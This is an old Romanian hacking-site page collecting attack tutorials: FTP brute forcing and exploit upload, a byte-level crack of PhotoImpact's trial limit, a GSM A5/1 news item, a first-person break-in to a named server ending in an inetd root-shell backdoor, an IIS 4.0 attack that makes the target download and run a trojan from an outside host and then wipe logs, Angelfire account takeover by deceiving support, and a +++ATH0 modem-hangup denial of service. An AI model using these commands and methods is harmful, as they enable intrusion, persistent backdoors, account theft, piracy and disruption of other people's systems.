Home Hack pe mIRC Hack pe cstrike Hack pe MuOnline Alte Hackuri Forum
Se poate afla parola unui server folosind metode mai putin inteligente cum ar
fi conectarile repetate. Pentru acest lucru este necesar un program de brute
force cracking.Cel mai bun program de acest tip este 'Brutus'. In motorul de
cautare tastati 'Brutus' sau 'brute force'.Dar cel mai bine se intelege privind
urmatorul exemplu. Sa prsupunem ca serverul www.server.com are client
ftp.Incercam prima data o conexiune: Deschidem Start/Run si tastam:
open
ftp.server.home.ro
220
220
220
220
220
connecting to server
running WU_FTPD(ftp.debbie.server.com): {introduceti
debbbie}
password:********
userid/password incorrect login
failed
goodbye
Dupa cum am vazut serverul,chiar daca nu a permis
conectarea,a fost destul de amabil incat sa
ne ofere doua informatii de mare
inportanta:
username:debbie
tipul de server:WU_FTPD
Ori gasim un
exploit pentru wu_ftpd ori incercam un brute force cracking.Programul Brutus
ofera doua posibilitati de a ataca un server:folosind un dictionar de parole sau
incercand toate combinatiile posibile.Din moment ce stiti username-ul inlocuiti
fisierul 'users.dat' care este livrat cu Brutus cu un fisier in care puneti un
singur nume si anume 'debbie'.Fisierul astfel creat puteti sa-l denumiti tot
'user.dat'.Tot ce va ramane de facut dupa ce ati facut setarile este sa
asteptati. Dupa ce epuizati incercarile cu dictionarul,setati optiunea 'brute
force' si selectati optiunile dorite. Ideal ar fi sa stim lungimea parolei sau
numarul de caractere din care este alcatuita parola precum si natura
acestora.Initial eu obisnuiesc sa fac urmatoarele setari privind
parola:
length min:0
length max 10
custom char :0123456789
In felul
acesta incerc intai toate combintiile numerice posibile apoi schimb optiunea cu
litere:
custom char:abcderftyijop
Aceasta metoda este absolut sigura
dar are doua dezavantaje majore:
1)Timpul mare de asteptare (1 ora-cateva
luni ;) depinde de noroc).Pentru cineva care are Net-ul pe Lan nu este o
problema(firma sau alta institutie).
precum 'jammer' care
zice-se ca ascunde numarul de telefon.
Voi mai da un exempu de bug in
ftp:
open ftp.server.com 220
220
220
...
connecting
to........(ftp.server.com):ftp {introduceti un user implicit}
passrord:guest
ftp>dir 'tastati dir sa vedeti la ce directoare aveti
acces'
Daca vedeti un director numit cgi-bin,cgi-win sau script atunci
servrul este hackerit!!! Cautati un exploit adecvat pentru sistemul de operare
respectiv(stiti cum sa-l aflati) il puneti pe desktop apoi dati urmatoarea
comanda(pres. ca exploitul se numeste expl.exe):
cd cgi-bin(sau ce director
gasiti)
put expl.exe
apoi tastati 'quit' ,deschideti browserul si
tastati(pres. ca directorul este
cgi-bin):
http://www.server.com/cgi-bin/expl.exe
Nu mai ramane
altceva decat sa asteptati rezultatul executiei exploitului,caruia bineinteles
ai cititi documentatia inainte de a fi folosit.
====================================================================
Cum sa spargi PhotoImpact 5.0 de la Ulead
Saluatare oameni buni!
M-am decis sa scriu acest tutorial deoarece PhotoImpact este un program
benga care te ajuta cu multe chestii atunci cand e vorba sa-ti faci o
pagina de web, vrei sa prelucreazi fotografii si nu numai. Initial acest
tutorial a fost scris in limba engleza, dar vazand unele site-uri romanesti
cu informatii despre cracking m-am decis sa il rescriu in romana sa inteleaga
tot romanu'. Programul il puteti gasi pe multe dintre CD-urile de la revistele
dedicate IT(EX.Chip).
Scule necesare :)
Soft-Ice 3.24 - cel mai mishto debugger oferit de NuMega (multe multumiri)
Win32Dasm 8.93 - un dezasamblor mishto pentru incepatori si nu numai
Editorul tau hexa favorit - as sugera Hexworkshop32
(TOATE ACESTEA POT FI GASITE LA www.crackstore.com).
Sa pornim. Instalati programul si pe urma rulati-l. Veti vedea un nag-screen
suparator care va ca folositi o versiune numai pentru incercare valabila
o singura luna. Setati timpul cu o luna dupa expirarea programului si
rulati-l iarasi. Veti obtine un mesaj ca asta : "Your 30 day-trial
period has expired" bla,bla... Click pe 'OK' si programul va spune
ciao!
Cum sa facem sa nu mai expire? Sunt mai multe cai. Iata una dintre ele.
O sa punem un breakpoint (punct de intreupere) la functia MessageBoxA
care ne-a aratat acel mesaj stupid. Tastati ctrl+d pentru a intra in Soft-Ice.
Puneti breakpoint-ul:
bpx messageboxa si apasati F5. Acum porniti iarsai programul.
Sice se va opri la inceputul functiei messageboxa. Dar noi trebuie sa
ajungem acolo de unde a fost chemata aceasta functie. Pentru aceasta apasati
F11. Va veti trezi in u32cfg.dll la aceasta secventa de cod:
:4EB06EDF FF155482B04E Call dword ptr [4EB08254]
:4EB06EE5 50 push eax
* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:4EB06EE6 FF157C81B04E Call dword ptr [4EB0817C] << esti aici
:4EB06EEC 5F pop edi
:4EB06EED C3 ret
Dupa cum puteti vedea nu exista nici o cale sa crack-uiti programul aici.
Sa continuam
executia programului pas cu pas. Parcurgeti doua linii (cu F10). Veti
vedea:
:4EB06E62 68F0550000 push 000055F0
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:4EB06D2C(U)
|
:4EB06E67 E814000000 call 4EB06E80
:4EB06E6C 83C40C add esp, 0000000C << esti aici
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:4EB0601B(C), :4EB06084(C), :4EB06C6F(C), :4EB06CF3(C)
|
:4EB06E6F 5F pop edi
:4EB06E70 5E pop esi
:4EB06E71 5D pop ebp
:4EB06E72 33C0 xor eax, eax << hmm...nimic bun aici...
:4EB06E74 5B pop ebx
:4EB06E75 81C470060000 add esp, 00000670
:4EB06E7B C3 ret
Chemarea rutinei de la 4EB06E80 va va afisa mesajul cel urat daca au trcut
cele 30 de zile de evaluare si va intoarce ca rezultat fie 1 in eax, caz
in care programul merge mai departe, fie 0 semn ca programul a expirat
caz in care se va intrerupe executia sa. Acum avem destule informatii
ca sa realizam crack-ul. Ati putea inlocui call 4EB06E80, cu
33C0 xor eax, eax ; eax=0
40 inc eax ; eax=1
40 inc eax ; eax=2
48 dec eax ; eax=1 ceea ce avem nevoie ;)
evitandu-se astfel chemarea acestei rutine
si xor eax, eax cu nop ;
nop ;
pentru ca nu avem
nevoie de valoarea 0 in eax.
Faceti rost de offseturi folosind w32Dasm (acestea sunt 6E67, 6E72).
In hexeditorul preferat incarcati fisierul u32cfg.dll si schimbati la
primul offset E814000000 cu 33C0404048 si la cel de al doilea 33C0 cu
9090.
Salvati-l. Rulati-l
. Folositi-l cu placere! Nici un messagebox sau vreo limita la timp doar
programul mergand foarte misto.
Si acum un mic rezumat: Pentru a inpusca doi iepuri dintr-o lovitura,
ne-am folosit de mesajul ce anunta expirarea programului simuland apasarea
butonului 'OK' . O varianta destul de isteata, nu?
Dar puteti sa eliminati protectia la timp folosindu-va de functia GetSystemTime dar acesta este o cale mai lunga...Vi-o las ca tema :P
Daca nu ati inteles mare lucru din acest tutorial, atunci cititi mai multe
tutoriale destinate
incepatorilor in cracking disponibile pe INTERNET.
***Totul a fost scris in in scopuri pur didactice. Autorul nu isi asuma
raspunderea pentru orice lucru neplacut care vi s-ar putea intampla in
urma citirii acestuia***
======================================================================================================================
GSM este gadilat la algoritmi
Doi evrei pretind
ca au gasit o cale eficienta de a sparge codul care protejeaza confidentialitatea
conversatiilor si datelor transmise prin tipul de retea telefonica utilizata
de mai mult de 230 milioane de oameni din intreaga lume (mai mult de 100
in Europa, vreo 5 in America si restul in Lumea a Treia). Vorbim desigur
despre GSM.
Codul pe care cei doi sustin ca l-au spart este cunoscut ca fiind algoritmul
A5/1 care ar trebui sa ne protejeze convorbirile de a fi interceptate.
A5/1 este mai degraba un cod de autentificare care previne detectarea
numarului de telefon si clonarea acestuia pe alt telefon.
Desi criptarea folosita la telefonia mobila a fost sparta mai de demult
noua metoda a facut senzatie deoarece necesita foarte putina putere de
calcul (ca posesor de P200 am inceput deja sa ma inviorez ;-)) : astfel
incat un eavesdropper (=personajul negativ care asculta in mod fraudulos
convorbile telefonice ale contribuabililor) inarmat doar cu un PC ar putea
intra neautorizat intr-o conversatie in mai putin de o secunda, sustin
domnii evrei care au supus algoritmul A5/1 la teste si perversiuni diverse.
De-a lungul timpului au fost anuntate, fiecare la timpul ei cu surle si
trambite mai multe metode de a ataca algoritmii GSM dar mai toate s-au
dovedit a fi nepractice, necesitand multe ore de munca si o retea de calculatoare
pentru a intercepta o singura conversatie.
Cercetatorii (aaaah, cum suna 'cercetatorii'...) care sustin ca au descoperit
ultima metoda sunt Alex Biryukov si Adi Shamir (litera 'S' din RSA ;-))
care lucreaza la Institutul Weizmann din Israel. Ei sustin ca au fost
in stare sa sparga codul folosind o masina cu 128 Mb RAM si doua harduri
de 73 Gb. Conversatia este interceptata folosind un scanner digital iar
calculatorul este folosit la analizarea algoritmului A5/1 in primele doua
minute ale acesteia. Odata ce datele au fost stranse eavesdropper-ul poate
desgusta in liniste intreaga conversatie.
Pentru moment, noua metoda de cracking necesita resurse care nu sunt disponibile
muritorilor de rand. Inaintea interceptarii conversatiei eavesdropperul
trebuie sa faca calcule sofisticate care necesita o putere de calcul semnificativa,
dar odata ce aceasta s-a incheiat toate convorbirile telefonice sunt usor
accesibile spun cei doi.
Eavesdropperul trebuie sa aiba acces si la un scanner digital care sa
poata intercepta convorbirile GSM pe o raza de cativa km. Asemenea scule
la ei costa mii de dolari si sunt ilegale. La noi nu e nevoie sa fie ilegale,
e suficient sa coste mii de dolari.
Desi descoperirea nu a fost anuntata in mod oficial totusi a fost confirmata
luni de unul dintre autori dupa ce vestea s-a imprastiat repede pe Internet
pe listele de discutii de profil.
Un purtator de cuvant de la Omnipoint (una din putinele companiii GSM
americane) a calificat vestile drept 'ridicole'.
"Ce descriu acestia este mai mult un exercitiu academic care nu va functiona
niciodata in lumea reala" a spus saftoiul lor, Terry Phillips. "Mai mult,
nu se ia in calcul faptul ca apelurile GSM schimba frecventele in mod
continuu astfel incat, chiar daca ar patrunde intr-o convorbire o secunda
mai tarziu s-ar schimba pe o alta frecventa si astfel au pierdut convorbirea
respectiva."
Algoritmul A5/1 care este principalul actor al acestei povesti a mai fost
centrul atentiei publice (ca al eavesdropper-ilor si al cipherpunk-ilor
e tot timpul :-)) anul trecul cand o echipa (Wagner, Goldberg and Briceno)
a demonstrat ca spargea metodei de autentificare GSM este o treaba de
cateva ore pe un singur PC. Cheile folosite de algoritmul A5/1 care sunt
folosite pentru a incripta si decripta datele sunt mult mai scurte decat
era declarat oficial si deci mult mai usor de folosit. Speculatia care
a urmat prompt a fost aceea ca algoritmul a fost in mod intentionat slabit
pentru a permite guvernului eavesdroppingul.
Aceiasi Wagner, Goldberg and Briceno au dezvoltat in august o metoda de
a patrunde in convorbiri protejate de varianta mai slaba a lui A5 (A5/2),
varianta care este folosita in Asia si Australia. Metoda lor sparge o
convorbire intr-o fractiune de secunda pe un singur PC. In luna mai anul
acesta (n.r. 1999) au facut public codul sursa de la A5/1 pe care Shamir
si compania l-au folosit pentru analiza cifrului. Codurile A5 au fost
dezvoltate in 1989 dar nu au fost facute publice niciodata.
Pentru mai multe informatii despre algoritmul A5/1 contactati Serviciul
Relatii cu Clientii al providerului dvs. de telefonie mobila: Connex tel.
*222 sau Dialog tel. 400, apeluri gratuite de pe telefonul dvs. mobil.
===========================================================================================================================
Hacking www.XXXXXXXX.ro
1. Introducere
~~~~~~~~~~~~~~
Salut. Sunt ceva zvonuri care zic ca dupa ani si ani de dezbateri, am
reusit in sfarsit sa scoatem al doilea numar. Cum banuiesc ca nu v-atzi
stresat prea mult cu bushitul serverelor NT care aveau pe ele SP3, asha
cum v-am invatzat in numarul trecut. Binee... Sa zicem ca asta nu v-a
interesat. Poate ca o sa va intereseze alte chestii... cum ar fi transcrierea
unei sesiuni de hacking. Zic hacking si nu cracking pentru ca nu am avut
scopuri distructive. Am vrut doar sa dau peste nas unuia. Nu o sa dau
in numarul asta numele serverului care a fost spart, pentru ca vreau sa
ii dau timp administratorului sau ce-o fi ala de acolo sa-si repare problemele
de securitate din retea. Dar promit ca in numarul viitor am sa fac publice
toate datele pe care le ascund acuma. Pentru a face povestea mai interesanta
pentru publicul roman ahtiat dupa telenovele, am sa spun ca toata povestea
a inceput pe IRC. Io pe IRC ma dau dialuper, ca sa po sa bag la inaintare
texte de genu: "Scuza-ma ca nu tzi-am raspuns atata timp, da' ma
disconectat serveru asta idiot... Ce ai zis mai devreme ?"
Eh... shi cu texte d'astea, unu care probabil a citit numaru anterior
din e-rohacker, ce shi-a zis... las ca-mi reseteaza iel modemu shi-mi
arata el mie, pentru ca am indraznit sa ii dau kick de pe #rocrack...
Hmmm.. zic io... Ala n-avea de unde sa shtie ca io nu ieream dialuper,
da' a inceput povestea. In primul rand...
2. Getting to work
~~~~~~~~~~~~~~~~~~
/whois _LAMER_ (vedetzi ca nici macar nick-ul lui real nu-l dau :)
| _LAMER_ (~lamer@www.mamadraq.ro) (Romania)
³ ircname : I'm too lame to read BitchX.doc
| channels : #rocrack #bucuresti #romania
³ server : atlanta.ga.us.undernet.org ([207.69.200.131] MindSpring Enterprises,
Inc)
Hmm... zic io... carefasazica ashea... foloseshte BitchX... 90% are un linux :))... ia sa vedem ce mai are mai departe.... hmmm... da' sa nu dau cu snifaiala de la mine... mai bine de la un icafe care are un linux pa care am io parola de root...
[BloomY@watters BloomY]$ ssh -l root icafe.cucubau.ro
root@icafe.cucubau.ro's password:
Last login: Mon Mar 6 14:42:24 2000
There is 1 message in folder /var/spool/mail/root.
TV is chewing gum for the eyes.
-- Frank Lloyd Wright
[root@icafe root]# nmap -sS -O www.oltenita.ro
Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on ns.mamadraq.ro (1.2.3.4):
Port State Protocol Service
21 open tcp ftp
22 open tcp ssh
23 open tcp telnet
25 open tcp smtp
37 open tcp time
53 open tcp domain
70 open tcp gopher
79 open tcp finger
80 open tcp http
109 open tcp pop-2
110 open tcp pop-3
111 filtered tcp sunrpc
113 open tcp auth
143 open tcp imap2
513 open tcp login
514 open tcp shell
TCP Sequence Prediction: Class=truly random
Difficulty=9999999 (Good luck!)
Remote operating system guess: Linux 2.0.35-36
Nmap run completed -- 1 IP address (1 host up) scanned in 187 seconds
[root@icafe root]#
Hmmm... ce putem
sa ne dam seama de aici ? In primul rand, nmapu zice ca ar fi vorba de
un linux, shi mai mult, un linux foarte vechi... Nu mai shtiu ce distributzie
avea inclus kernelu asta, da' guessu meu ie ca ala care a instalat sistemul
l-a instalat default, asha cum vine iel... fara sa mai faca modificari.
Chestii de remarcat la prima vedere... In afara de server de web, mashina
asta mai ie shi POP3 server shi ns.... :)) hmmm... daca i-ash aburi io
serviciile pe acolo :))... da' mai bine nu. Hai sa vedem ce-i cu porturile...
Hmmm... telnet ? FINGER ???? Wow... Buun... daca portu de finger ie deschis
atunci am putea sa vedem cine ie logat la ora asta acolo...
[root@icafe root]# finger @www.mamadraq.ro
[ns.mamadraq.ro]
Login Name Tty Idle Login Time Office
lamer Lameru de pe undernet tty1 56 Mar 7 15:49
test p0 5 Mar 7 17:40
[root@icafe root]#
hmm... carevasazica asha :)) deci ala ie de la consola shi in plus, remote mai ie legat user test :)) Dupa cum vedetzi am inlocuit in ceea ce a zis fingeru numele real al lu ala... doar ca sa nu ii fie rushine prea mare :)). Ashea. Gata cu rautatzile, ca nu cu mult timp in urma, shi io ieream lamer, looser (nu luser), sau in ce fel vretzi voi sa zicetzi. Buun.. shi daca tot a mers chestia asta cu fingeru, hai sa vedem daca ala care a facut contu test a fost suficient de lamer sa ii puna parola tot test :))
[root@icafe root]# telnet www.mamadraq.ro
Trying 1.2.3.4...
Connected to ns.mamadraq.ro.
Escape character is '^]'.
Red Hat Linux release 5.0 (Hurricane)
Kernel 2.0.36 on an i586
login: test
Password: test
You have new mail.
[test@ns test]$
Hmm.. carevasazica ie RH5.0... shi io am intrat :(( Ma dezamageshte adminu
asta... am intrat prea ushor... Eh... acuma tot ce mai trebe sa fac ie
sa obtzin parola de root shi sa ii fac viatza amara lamerului... Pun pariu
ca asta nu are pa sistem shadow... deci ash putea incerca un password
cracker... :))
Buun... Deci mai departe am luat passwd-ul sh am dat drumu la John (pentru
aia care nu shtiu, john ie un password cracker... destul de bun. Oricum,
pentru nevoia mea shia indeplinit functziile...) Bun... da' acuma ce ma
fac daca ashtia scot contu test inainte ca io sa apuc sa fac rost de parola
de root ? Imi trebuia repede un cont valid, ca sa am timp sa imi fac magariile...
De remarcat ca John, oricat de bun ie iel nu scoate parolele ashea repede,
decat daca sunt super ushoare. Dar se pare ca sunt un tip norocos...
User: cucu
Pass: cucu123
Buun... sa incercam un ssh acuma, shi sa vedem ce exploituri am putea
folosi :))
3. Diverse exploituri, pana se spage parola de root
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Hmm... sa vedem... Am citit io mai demult pe undeva de existentza unui
exploit de mount... Da' pentru asta trebe sa fie mount-ul suidat... ia
sa vedem
[cucu@ns cucu]$ ls -al /bin/mount
-rwsr-xr-x 1 root root 34424 Oct 23 1997 /bin/mount*
[cucu@ns cucu]$
uuu... Lucky me... :)) carefasazica po sa obtzin access mai ushor... ia
sa incerc... iau mount-ex.c shi incerc sa-l compilez :))
[cucu@ns cucu]$ gcc mount-ex.c
In file included from /usr/include/stdlib.h:360,
from mount-ex.c:22:
/usr/include/alloca.h:1: parse error at null character
[cucu@ns cucu]$
hmm.... nu-mi place asta... Nu ma complic sa vad ce ie cu eroarea asta...
Prima impresie ie ca librariile sunt mai vechi ca exploitu meu :)) Nashpa...
Nu-i nimica... il iau la mine shi il compilez static, ca sa ii includa
toate librariile :))Ma rog... To make a long story short, am compilat
local (gcc mount-ex.c -static), am copiat pa server shi binenintzeles
ca n-a mers.
Nu m-a descurajat pa mine chestia asta, asha ca am incercar shi un exploit
de traceroute. Bineintzeles ca nici asta nu a vrut sa mearga... Nasol..
Dar intre timp ghici ce-mi zice john al meu:
Guessed 1 password:
NubirA (root)
:))
4. Cu parola de root, la instalat backdoor-uri
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ashadar :)) aveam tot ce imi dorea sufletzelul :))... Acuma sa-i facem
ushoara viatza lu baiatu am facut un ssh pa serveru ala, sh am inceput
:))
echo 'alive 65234/tcp
# RedHat Keep Alive system' >>/etc/services
cp /bin/sh /bin/mem
chown root.root /bin/mem
chmod +xs /bin/mem
echo 'alive stream tcp nowait root /usr/sbin/tcpd /bin/mem -i' >>/etc/inetd.conf
Eh... shi acuma esplicatziile
La momentul in care scriu partea a patra din articolu asta, nu mai am
root la acel icafe, shi imi ie cam tarsha sa intru de aici pa serverul
mamadraq.ro, asha ca ma decis io ca cel mai bine ie sa citez din memorie
ce am facut acolo... Prietenii shtiu de ce :)) Eh... acuma sa va zic ce
a facut mintea mea bolnava :)). Dat fiind ca il subestimez pa adminu de
la www.mamadraq.ro, shi il banui ca habar n-ar ce-i cu serveru lui, am
bagat in /etc/services linia aia cu alive, pe care am shi comentat-o cu
"redhat keep alive system". Asha ceva nu a existat niciodata,
:)) dar mie imi place cum suna. Dupa care, i-am zis ca sa copieze /bin/sh
in /bin/mem shi sa ruleze ca root, pe portu pe care zice in /etc/services
ca ruleaza keepalive (65234), in modu cat se poate de interactiv (asta
face -i).
Adica pe limba romanului de rand :)), oricine da telnet la www.mamadraq.ro
pe portu 65234 are access root. Pe urma, pe canalu #rocrack de pe undernet,
canal pe care dupa parerea mea ar trebui sa-l vizitatzi mai des, am facut
publica magaria. din nefericire nu ierea prea multa lume pe kanal la ora
aia :)) Asha ca putzina lume shtie numele adevarat al serverului. Dar
promit ca numarul viitor spun de cine ierea vorba, shi cum se poate sa
mai datzi pe acolo.
5. In incheiere, o
vorba pentru admin
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Acuma serios vorbind, io cred ca adminu de la serveru ala ie tare lamer...
sau ma rog... habar n-are de securitate in internet. Nu ca io ash avea
prea mult habar, da' io am avut mai mult noroc ca iel. intre noi fie vorba.
Treaba hackerului/crackerului ie sa sparga sistemu. Treaba adminului ie
sa-l protejeze ca sa nu fie spart. Cashtiga ala care ishi face primu treaba.
De data asta am cashtigat io. OTOH, puteam foarte ushor sa fiu lasat pe
afara, daca adminu de acolo facea nishte chestii dintre urmatoarele:
a) Punea un PortSentry, care portsentry ar fi bagat o linie de ipchains
care sa faca deny la tot ce vine de la adresa mea, imediat cum a sesizat
scanarea de porturi.
b) Nu lasa portu de finger deschis, sau punea acolo un finger masluit,
care sa nu returneze cine ie logat, ci doar sa logheze attemptu de finger
:))
c) Nu facea conturi de genu test cu parola test
d) Facea un upgrade la sistemu de operare
e) Punea un shadow, acolo sa nu poa sa citeasca tot prostu parolele criptate
f) Punea la root o parola mai lunga shi mai complicata, ca john-ul meu
a
gasit-o pasta dupa 23 de ore de cracking pe un PIII dual, cu 512M RAM.
:))
g) Macar odata pe saptamana sa mai citeasca 3 randuri de securitate.
Si sunt io de parere ca multe chestii se mai puteau face. Dar cum dupa
razboi multzi viteji s-arata, shi cum nici io nu-s un guru in ale
securitatzii, shi nici un ditamai hackeru, o las moarta. Poate povestea
asta
sa invetze ceva pa unii...
=================================================================================================================
IIS 4.0 Web Atack
Aceasta este prima
parte dintr-o serie de articole despre BUG-urile Windows-ului NT , si
are scop PUR EDUCATIONAL , prin aceasta nu-mi asum responsabilitatea utilizarii
cu alte scopuri decit cele educationale.Cam atit cu partea introductiva
, de trebuie si ea pusa pe aici.
Sa trecem la lucruri serioase; de ce se cheama WEB Atack ? , simplu ,
pentru ca atacul este indrepta asupra serverului de internet al Windows-ului
NT , si mai precis , se da direct pe Portul 80 , ceea ce face ineficienta
o protectie cu FireWall .
Sa vedem acum ce face
? Pai nimic grav , Doar oricine poate obtine prompt DOS in server cu drepturi
de ADMINISTRATOR , adica poti face ce vrei cu bietul server , de la sterfisiere
, schimbat parole , pina copiat informatii din intreaga retea , nu numai
de pe server , asadar o nimica toata. Pentru a explica cum functioneaza
, este necesara explicarea , sau mai precis , prezentarea citorva din
facilitatiile IIS 4.0 :
HTR - HTML Remote Administration Permite administrare de la distanta .
IDC - Internet DATABASE Connector Permite unei aplicatii de internet sa
acceseze HDD , in mod direct prntru cautare de date .
STM - Server Files
Cind se face o cere catre un server ( adresa de internet ) - http://www.tinta.com
- , serverul de internet , IIS 4.0 , raspunde prin trimiterea cererii
catre niste programele ( htr.dll , idc.dll , stm.dll ) , care analizeaza
cererea , si hoatarasc ce sa faca . In acest lant , a aparut o scapare
, si se poate ca in anumite situatii , in urma unei cereri , sa se faca
un DOWNLOAD urmat de o EXECUTIE pe server a unui TROJAN .
Problema cu toate ca este foarte periculoasa , in loc sa fie analizata
serios , a facut , ca acest lucru - Download-ul si EXECUTAREA pe SERVER
/ WORKSTATION ( prin workstation ma refer la ori ce calculator care are
un sistem de operare pe el ) a programelor sa ia amploare prin utilizarea
tehnologiei JAVA , care este baza pe acest lucru . Acesta va fi un alt
subiect de articol intru-un nr. viitor.
Sa reluam discutia ; zice-am ca IIS 4.0 va rula programul pe care i l-am
indicat , in cazul nostru un trojan , in urma exectarii acestuia , se
va trimite pe portul 80 sau 99 prompt DOS cu drept de ADMINISTRATOR.
Cum se ataca un server , folosind acest BUG ?
Mai intii se pune la o adresa de internet trojanul - se zicem ca exemplu
la geocities sau tripod sau in oricare alta parte unde se asigura free
web hosting ( asta ca sa nu se prinda de unde s-a dat atacul ) , pentru
cazul nostru asdresa unde se afla trojanul este : http://www.freeservers.com/MySite/ncx.exe
sau
http://www.freeservers.com/MySite/ncx99.exe , unde atit ncx.exe ( pentru
portul 80 ) , cit si ncx99.exe ( pentru portul 99 ) sunt trojenii care
vor fi download-ati si executati de serverul tinta .Programele trebuie
sa se afla - in cazul exemplului - in root-ul site-ului , adica unde se
afla pagina Defaul.htm sau index.html , mai precis unde se afla intreg
site-ul.
Acum este foarte simplu ce aveti de facut , doar butonati urmatarea linie
de comanda :
iishack www.tinta.com 80 www.freeservers.com/MySite/ncx.exe
Parametrii de lasare a programului IISHACK :
SINTAXA: iishack <host> <port> <url>
ex - iishack www.tinta.com 80 www.myserver.com/thetrojan.exe
Dupa trimiterea atacului , IIS 4.0 de pe tinta , nu va mai raspunde la
comenzii , iar trojan-ul se va download-a si se va executa , apoi , daca
totul a fost OK , se poate face telnet pe www.tinta.com pe portul 80 sau
99 ( functie de trojan-ul folosit ) si va aparea un prompt de DOS . Trebuie
avut grija , ca sunt necesare cateva secunde pina se face download-ul
, iar telnet-ul trebuie dat in max 30 sec. , dupa aceea trebuie restartat
serverul tinta .
Dupa intrare trebuie sterse logurile : c:\winnt\system32\logs , si sterge-ti
tot ce se poate , pentru a nu lasa urme.
ATENTIE !!!! Nu poate fi rulat decat o singura data , IIS , blocandu-se
, aceasta necesitand o reinitializare a sistemului .
============================================================================================================
Cum sa hackuiesti un cont angelfire !
Si cum spuneam numarul
trecut "totul are un inceput ....."
Buuun .... Ai un "prieten" pe net care are o pagina pe server-ul
angelfire si vrei sa-l uimesti "un pic". Cum faci? Simplu ii
hack-uiesti pagina de pe angelfire. Cum ? Simplu asta-i un exemplu:
***** Pasul 1 *****
Afla-i adresa paginii, spre exemplu
http://www.angelfire/ca/prieten/index.html. Buuun .. ce spune
acesta adresa? ca pagina este pe server-ul angelfire.com (logic!)
in directorul /ca este pentru statul California iar directorul /prieten
spune (in general) numele "prietenului".Index este numele paginii
,
poate fi diferit dar de cele mai multe ori este pagina principala.
***** Pasul 2 *****
Buuun ... acum ai nevoie de vechea adresa de e-mail a "prietenului"
Deobicei o gasesti in pagina de web.
***** Pasul 3 *****
Acum ca ii sti adresa de web si e-mail a "prietenului", trebui
sa
ii afli numele - deobicei il gasesti pe pagina de web. Daca nu incearca
sa afli numele real de la el - chat, icq, e-mail ... .
***** Pasul 4*****
Dupa ce ai aflat toate aceste informatii trimite un e-mail la
Angelfire si spune cat de nefericit esti :-( adresa de e-mail este:
mail@angelfire.com. Scrisoarea trebuie sa sune "adevarat", scrie
in
ea ceva de genul - am fost intr-o calatorie mai lunga si am uitat
parola - spune ca ti-ai schimbat adresa de e-mail iar cea veche nu
mai este valabila si ai vrea sa primesti parola pe noua adresa de
e-mail asa ca da-le noua adresa de email pentru primi parola iar in
urmatoarele zile vei primi parola in casuta postala.
Cam asta este una din ideiile de hack-uiala a contului de pe
angelfire.
SUGESTIE - mai sunt si alte servere care dau spatiu
gartuit si se bazeaza pe acest mod de comunicare cu abonatii.
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Cum sa hack-uiesti un ftp?
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
In windows 9x deschideti un prompt dos si tastati:
ftp adresa victimei
server-ul va cere: username apasati enter
server-ul va cere: password apasati enter
la promptul care apare tastati:
quote usr ftp
apoi tastati
quote cwd ~root
apoi tastati
quote pass ftp
Asigurati-va ca stergeti log-ul.
Fisierul cu parole pentru cei care au
drepturi pe sistem il gasiti in /etc/password
deci odata ce ati intrat in sistem tastati
cd /etc
get passwd
Daca totul a fost ok iar serverul este putin
mai vechi GATA ati captat dreptul de root -
veti putea face ce dori cu sistemul.NOTA:
Cele de mai sus merg pe majoritatea serverelor
mai vechi in special cele de la universitati.edix
=================================================================================================================
DoS Attack. Target: M0dem
Intai de toate ar trebui sa stim cateva lucruri despre modemuri. Nu voi intra prea mult in detalii ca sa nu va zapaciti. Aceste modemuri raspund la niste comenzi, care nu sunt altceva decat niste stringuri. De exemplu ATZ, ATI, ATDP ... si nu in ultimul rand +++ATH0. Primind aceste stringuri modemul le interpreteaza ca atare. Astfel pentru ATZ modemul se va initializa, pentru ATDP va forma un numar, iar pentru +++ATH0 modemul se va inchide(HANGUP). In ideea ca ati inteles care e treaba cu comezile si cum le interpreteaza modemul nu ne mai ramane decat sa ne intrebam cum ne folosim de ele pentru a inchide modemul altor persoane. Tot ce ne mai ramane de facut este sa gasim metoda prin care sa trimitem aceste stinguri altor modemuri. Atentie! nu toate modemurile sunt vulnerabile. Doar 30%-40% s-au dovedit a fi vulnerabile. Modemurile US ROBOTICS si ROKWELL par sa fie neafectate. In continuare am sa va prezint cateva metode destul de practice.
1)Folosindu-va de SendMail:
telnet victim_ip 25
VRFY +++ATH0
550 +++ATH0... User unknown
close
Nu va speriati de "User unknown"! Modemul va interpreta +++ATH0
si se va inchide.
2)Conectati-va pe FTP si tastati "USER +++ATH0". Normal veti
primi un mesaj: "331 Password required for +++ATH0". Inca o
data nu va speriati de acest mesaj. Gata. Modemul interpreteaza +++ATH0
si se deconecteaza.
3)Aceasta metoda e ceva mai dificila pentru cei care nu stiu sa programeze.
Oricum ideea e sa trimiti un ICMP ECHO_RESPONSE "umplut" cu
stringul "+++ATH0<CR>". Atentie <CR> este necesar.
4)Pentru cei care au Linux/Unix, in general Open Sistems vom trimite aceste
stringuri cu ajutorul comenzii Ping. Deci vom trimite un ping cu pattern,
unde pattern-ul va contine stringul. Incercati sa intelegeti ce va urma:
Ord('+')=43 in baza 10, dar
Ord('+')=2b in baza 16.
Deci 43(care este codul ASCII pentru "+") in baza 10 este egal
cu 2b in baza 16 Ati prins Ideea? Hai sa ne uitam la tabelul urmator:
|CHR| DEC|HEX|
| + | 43 |2b |
| A | 65 |41 |
| T | 84 |54 |
| H | 72 |48 |
| 0 | 48 |30 |
|CR | 13 |0d |
Deci stringul +++ATH0
= 2b2b2b415448300d in hexa pentru pattern.
Daca ati inteles ce se intampla cu transformarile astea tastati in shell
vostru:
< bla@bla?> ping -p 2b2b2b415448300d -c 5 victim_ip
Cam astea ar fi metodele. Tot ce va ramane este sa fiti originali si al
dracu de creativi. Incercati si voi sa combinati un +++ATH0 cu un ATDP890123
:) . Partea buna a lucrurilor e ca si merge!
[eof]
PRAGMA PHOBYA
Nickname: Kebab or Clonatu @ Undernet #rocrack
Mail: pphobya@hotmail.com
